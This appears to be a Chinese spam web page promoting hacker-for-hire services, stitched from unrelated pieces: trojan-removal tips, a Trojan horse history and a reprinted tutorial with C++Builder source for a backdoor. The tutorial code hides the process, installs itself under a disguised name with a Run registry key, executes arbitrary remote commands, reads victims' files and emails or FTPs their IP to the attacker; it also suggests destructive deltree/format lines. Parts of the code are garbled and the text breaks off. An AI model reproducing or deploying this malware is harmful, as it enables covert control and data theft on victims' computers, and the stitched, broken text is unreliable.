今天给大家带来{黑客24小时在线接单网站},和木马病毒会自己消失吗的相关知识,如果可以可以选择收藏本站。
电脑中木马病毒后应该怎么办?
【进入安全模式】
1,因为顽固木马很多都是蠕虫病毒的一种,寄宿在一些核心文件内,我们一般正常情况下杀毒软件也很难将其找出清理;
2,最理想的办法就是进入安全模式杀毒,因为安全模式下,第三方驱动无法自动运行,病毒也只能等待被杀毒软件检测出来了;
3,首先我们重启电脑,在重启电脑的过程中,不断按F8键,进入windows系统的菜单,WIN8除外,然后菜单选择;
4,在菜单中,我们选择安全模式即可,如果电脑上没杀毒软件,可以选择进入网络安全模式也可以的;
【查杀顽固木马】
1,接下来就是对电脑中的顽固木马查杀了,可以选择用腾讯电脑管家,然后打开其中的病毒查杀这个功能,对电脑病毒进行清理;
2,杀毒完成后,正常重启电脑,你会发现病毒神奇的没有了,以后电脑使用的时候一定要保持杀毒软件处于开启状态,就可以避免电脑中毒情况发生。
【注意事项】
1,电脑木马病毒是需要经常查杀才可以的
2,定期查杀电脑木马病毒,可以避免电脑被病毒危害。
如果你的电脑中了顽固木马病毒,不妨参考教程设置即可。
木马病毒资料
特洛伊木马(以下简称木马),英文叫做“Trojan horse”,其名称取自希腊神话的特洛伊木马记。
古希腊传说,特洛伊王子帕里斯访问希腊,诱走了王后海伦,希腊人因此远征特洛伊。围攻9年后,到第10年,希腊将领奥德修斯献了一计,就是把一批勇士埋伏在一匹巨大的木马腹内,放在城外后,佯作退兵。特洛伊人以为敌兵已退,就把木马作为战利品搬入城中。到了夜间,埋伏在木马中的勇士跳出来,打开了城门,希腊将士一拥而入攻下了城池。后来,人们在写文章时就常用“特洛伊木马”这一典故,用来比喻在敌方营垒里埋下伏兵里应外合的活动
它是一种基于远程控制的黑客工具,具有隐蔽性和非授权性的特点。
所谓隐蔽性是指木马的设计者为了防止木马被发现,会采用多种手段隐藏木马,这样服务端即使发现感染了木马,由于不能确定其具体位置,往往只能望“马”兴叹。
所谓非授权性是指一旦控制端与服务端连接后,控制端将享有服务端的大部分操作权限,包括修改文件,修改注册表,控制鼠标,键盘等等,而这些权力并不是服务端赋予的,而是通过木马程序窃取的。
从木马的发展来看,基本上可以分为两个阶段。
最初网络还处于以UNIX平台为主的时期,木马就产生了,当时的木马程序的功能相对简单,往往是将一段程序嵌入到系统文件中,用跳转指令来执行一些木马的功能,在这个时期木马的设计者和使用者大都是些技术人员,必须具备相当的网络和编程知识。
而后随着WINDOWS平台的日益普及,一些基于图形操作的木马程序出现了,用户界面的改善,使使用者不用懂太多的专业知识就可以熟练的操作木马,相对的木马入侵事件也频繁出现,而且由于这个时期木马的功能已日趋完善,因此对服务端的破坏也更大了。
所以所木马发展到今天,已经无所不用其极,一旦被木马控制,你的电脑将毫无秘密可言。
什么是木马 大家简单给我介绍一下吧
木马是如何编写的(一)
特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos??Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。
我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是很悠久的:早在ATT Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗??先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。
自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成??服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。
首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈??难道你还给受害者传一个1兆多的动态链接库??Msvbvm60.dll吗?
启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。
Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。
我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。
首先判断目标机的操作系统是Win9x还是WinNt:
DWORD dwVersion = GetVersion();
// 得到操作系统的版本号
if (dwVersion = 0x80000000)
// 操作系统是Win9x,不是WinNt
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
file://定义RegisterServiceProcess()函数的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32");
file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");
file://得到RegisterServiceProcess()函数的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
file://执行RegisterServiceProcess()函数,隐藏本进程
FreeLibrary(hDLL);
file://卸载动态链接库
这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:
char TempPath[MAX_PATH];
file://定义一个变量
GetSystemDirectory(TempPath ,MAX_PATH);
是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径
SystemPath=AnsiString(TempPath);
file://格式化TempPath字符串,使之成为能供编译器使用的样式
CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);
file://将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来
Registry=new TRegistry;
file://定义一个TRegistry对象,准备修改注册表,这一步必不可少
Registry-RootKey=HKEY_LOCAL_MACHINE;
file://设置主键为HKEY_LOCAL_MACHINE
Registry-OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);
file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之
try
file://如果以下语句发生异常,跳至catch,以避免程序崩溃
if(Registry-ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")
Registry-WriteString("crossbow",SystemPath+"\\Tapi32.exe");
file://查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe
file://如果不是,就写入以上键值和内容
catch(...)
file://如果有错误,什么也不做
好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。
接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。
再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
file://定义了一堆待会儿要用到的变量
sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());
file://在%System%下建立一个文本文件Win369.bat,作为临时文件使用
AnsiString temp=Socket-ReceiveText();
file://接收客户端(攻击者,也就是你自己)传来的数据
好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:
if(temp.SubString(0,9)=="edit conf")
file://如果接受到的字符串的前9个字符是“edit conf”
int number=temp.Length();
file://得到字符串的长度
int file_name=atoi((temp.SubString(11,1)).c_str());
file://将第11个字符转换成integer型,存入file_name变量
file://为什么要取第11个字符,因为第10个字符是空格字符
content=(temp.SubString(12,number-11)+'\n').c_str();
file://余下的字符串将被作为写入的内容写入目标文件
FILE *fp=NULL;
char filename[20];
chmod("c:\\autoexec.bat",S_IREADS_IWRITE);
chmod("c:\\config.sys",S_IREADS_IWRITE);
file://将两个目标文件的属性改为可读可写
if(file_name==1)
sprintf(filename,"%s","c:\\autoexec.bat");
file://如果第11个字符是1,就把Autoexec.bat格式化
else if(file_name==2)
sprintf(filename,"%s","c:\\config.sys");
file://如果第11个字符是1,就把Config.sys格式化
times_of_try=0;
file://定义计数器
while(fp==NULL)
file://如果指针是空
fp=fopen(filename,"a+");
file://如果文件不存在,创建之;如果存在,准备在其后添加
file://如果出错,文件指针为空,这样就会重复
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
file://如果已经试了100次了,仍未成功
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://跳至END处
fwrite(content,sizeof(char),strlen(content),fp);
file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!
fclose(fp);
file://写完后关闭目标文件
Socket-SendText("Sucess");
file://然后发回“Success”的成功信息
上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:
else if(temp.SubString(0,3)=="dir")
file://如果前3个字符是“dir”
int Read_Num;
char * CR_LF="\n";
int attrib;
char *filename;
DIR *dir;
struct dirent *ent;
int number=temp.Length();
file://得到字符串的长度
AnsiString Dir_Name=temp.SubString(5,number-3);
file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名
if(Dir_Name=="")
file://如果目录名为空
Socket-SendText("Fail By Open DIR's Name");
file://返回“Fail By Open DIR's Name”信息
goto END;
file://跳到END
char * dirname;
dirname=Dir_Name.c_str();
if ((dir = opendir(dirname)) == NULL)
file://如果打开目录出错
Socket-SendText("Fail by your DIR's name!");
file://返回“Fail By Your DIR's Name”信息
goto END;
file://跳到END
times_of_try=0;
while(fp==NULL)
file://如果指针是NULL
fp=fopen(TempFile,"w+");
file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
file://如果已经试了100次了,仍未成功(真有耐心!)
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
while ((ent = readdir(dir)) != NULL)
file://如果访问目标目录成功
if(*(AnsiString(dirname)).AnsiLastChar()!='\\')
file://如果最后一个字符不是“\”,证明不是根目录
filename=(AnsiString(dirname)+"\\"+ent-d_name).c_str();
file://加上“\”字符后将指针指向目录流
else
filename=(AnsiString(dirname)+ent-d_name).c_str();
file://如果是根目录,则不用加“\”
attrib=_rtl_chmod(filename, 0);
file://得到目标文件的访问属性
if (attrib FA_RDONLY)
file://“”字符是比较前后两个变量,如果相同返回1,否则返回0
fwrite(" R",sizeof(char),3,fp);
file://将目标文件属性设为只读
else
fwrite(" ",sizeof(char),3,fp);
file://失败则写入空格
if (attrib FA_HIDDEN)
fwrite("H",sizeof(char),1,fp);
file://将目标文件属性设为隐藏
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_SYSTEM)
fwrite("S",sizeof(char),1,fp);
file://将目标文件属性设为系统
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_ARCH)
fwrite("A",sizeof(char),1,fp);
file://将目标文件属性设为普通
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_DIREC)
fwrite(" DIR ",sizeof(char),9,fp);
file://将目标文件属性设为目录
else
fwrite(" ",sizeof(char),9,fp);
file://失败则写入空格
fwrite(ent-d_name,sizeof(char),strlen(ent-d_name),fp);
file://将目录名写入目标文件
fwrite(CR_LF,1,1,fp);
file://写入换行
fclose(fp);
file://关闭文件
closedir(dir);
file://关闭目录
FILE *fp1=NULL;
times_of_try=0;
while(fp1==NULL)
fp1=fopen(TempFile,"r");
file://打开Win369.bat准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
file://如果已经试了100次了,仍未成功
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i300;i++) temp_content[i]='\0';
file://定义的一个空数组
Read_Num=fread(temp_content,1,300,fp1);
file://从目标文件中读入前300个字符
while(Read_Num==300)
Return_Text=Return_Text+temp_content;
变量加上刚才的300个字符
for(int i=0;i300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp1);
file://重复
Return_Text=Return_Text+temp_content;
变量加上刚才的300个字符
fclose(fp1);
file://关闭目标文件
Socket-SendText(Return_Text);
file://返回Return_Text变量的内容
够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):
else if(temp.SubString(0,4)=="type")
file://如果前4个字符是“type”
int Read_Num;
int number=temp.Length();
AnsiString File_Name=temp.SubString(6,number-4);
file://将目标文件流存入File_Name变量中
times_of_try=0;
while(fp==NULL)
fp=fopen(File_Name.c_str(),"r");
file://打开目标文件准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
file://如果已试了100次了
Socket-SendText("Fail By Open File");
file://返回“Fail By Open File”的错误信息
goto END;
file://跳到END
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i300;i++) temp_content[i]='\0';
file://定义一个空数组
Read_Num=fread(temp_content,1,300,fp);
file://从目标文件中读入前300个字符
while(Read_Num==300)
Return_Text=Return_Text+temp_content;
的内容加上刚才的字符
for(int i=0;i300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp);
file://重复
Return_Text=Return_Text+temp_content;
的内容加上刚才的字符
fclose(fp);
file://关闭目标文件
Socket-SendText(Return_Text);
file://返回Return_Text的内容,即你查看文件的内容
咳咳!累死了!还是来点轻松的吧??操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):
else if(temp=="open")
file://如果收到的temp的内容是“open”
mciSendString("set cdaudio door open", NULL, 0, NULL);
file://就弹出光驱的托盘
else if(temp=="close")
file://如果收到的temp的内容是“close”
mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);
file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^
接着就是交换目标机的鼠标左右键,代码如下:
else if(temp=="swap")
SwapMouseButton(1);
file://交换鼠标左右键,简单吧?
然后就是使目标机重新启动。但这里要区分WinNt和Win9x??NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:
else if(temp=="reboot")
file://如果收到的temp的内容是“temp”
DWORD dwVersion = GetVersion();
file://得到操作系统的版本号
if (dwVersion 0x80000000)
file://操作系统是WinNt,不是Win9x
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
file://定义变量
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, hToken);
这个函数的作用是打开一个进程的访问令牌
函数的作用是得到本进程的句柄
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,tkp.Privileges[0].Luid);
的作用是修改进程的权限
tkp.PrivilegeCount = 1;
file://赋给本进程特权
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
的作用是通知Windows NT修改本进程的权利
ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);
file://强行退出WinNt并重启
else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);
file://强行退出Win9x并重启
如果以上都不是,就让它在Dos窗口中执行传来的命令:
else
file://如果都不是
char * CR_TF="\n";
times_of_try=0;
while(fp==NULL)
fp=fopen(TempFile,"w+");
file://创建Win369.bat,如果已存在就覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
Socket-SendText("Fail By Open File");
file://返回“Fail By Open File”的信息
goto END;
file://跳到END
fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);
file://写入欲执行的命令
fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);
file://写入换行符
fclose(fp);
file://关闭Win369.bat
system(TempFile);
file://执行Win369.bat
Socket-SendText("Success");
file://返回“Success”信息
你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^
到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)
木马是如何编写的(三)
武汉 周侃
上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):
END:;
Socket-Close();
file://关闭服务
ServerSocket1-Active =true;
file://再次打开服务
if (NMSMTP1-Connected) NMSMTP1-Disconnect();
file://如果SMTP服务器已连接则断开
NMSMTP1-Host = "smtp.163.net";
file://选一个好用的SMTP服务器,如163、263、sina和btamail
NMSMTP1-UserID = "";
file://你SMTP的ID
try
NMSMTP1-Connect();
file://再次连接
catch(...)
goto NextTime;
file://跳到NextTime
NMSMTP1-PostMessage-FromAddress ="I don't know!";
file://受害者的Email地址
NMSMTP1-PostMessage-FromName = "Casualty";
file://受害者的名字
NMSMTP1-PostMessage-ToAddress-Text = "crossbow@8848.net";
file://将信发到我的邮箱,这一步很关键
NMSMTP1-PostMessage-Body-Text = AnsiString("Server Running on:") + NMSMTP1-LocalIP ;
file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接
NMSMTP1-PostMessage-Subject = "Server Running Now!";
file://信的主题
NMSMTP1-SendMail();
file://发送!
return;
file://返回
NextTime:
NMFTP1-Host = "";
file://你的FTP服务器的地址
NMFTP1-UserID = "";
file://你的用户ID
NMFTP1-Port = 21;
端口号,一般为21
NMFTP1-Password = "";
file://你的FTP的密码
if(NMFTP1-Connected) NMFTP1-Disconnect();
file://如果已连接就断开
try
NMFTP1-Connect();
file://再连接
catch(...)
return;
file://返回
AnsiString SendToSite = "Server Running on: " + NMFTP1-RemoteIP;
file://受害者的IP地址
FILE * Upload;
Upload = fopen(NMFTP1-RemoteIP.c_str(),"w+");
file://创建一个新文件准备写,如果已存在就覆盖
fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload);
file://写入以上的SendToSite的内容
fclose(Upload);
file://写完后关闭此文件
NMFTP1-RemoveDir("public_html");
file://删除public_html目录
NMFTP1-Upload(NMFTP1-RemoteIP, NMFTP1-RemoteIP);
file://上传!
啊,超长的OnClientRead事件终于写完了。最后别忘了要在此服务器源码文件中添加以下头文件:
#include stdlib.h
#include dirent.h
#include fcntl.h
#include dos.h
#include sys\stat.h
#include winbase.h
#include stdio.h
#include process.h
#include io.h
#include mmsystem.h
至此,服务器端(Server)程序已全部
关于{黑客24小时在线接单网站}和木马病毒会自己消失吗的帮助到此结束了。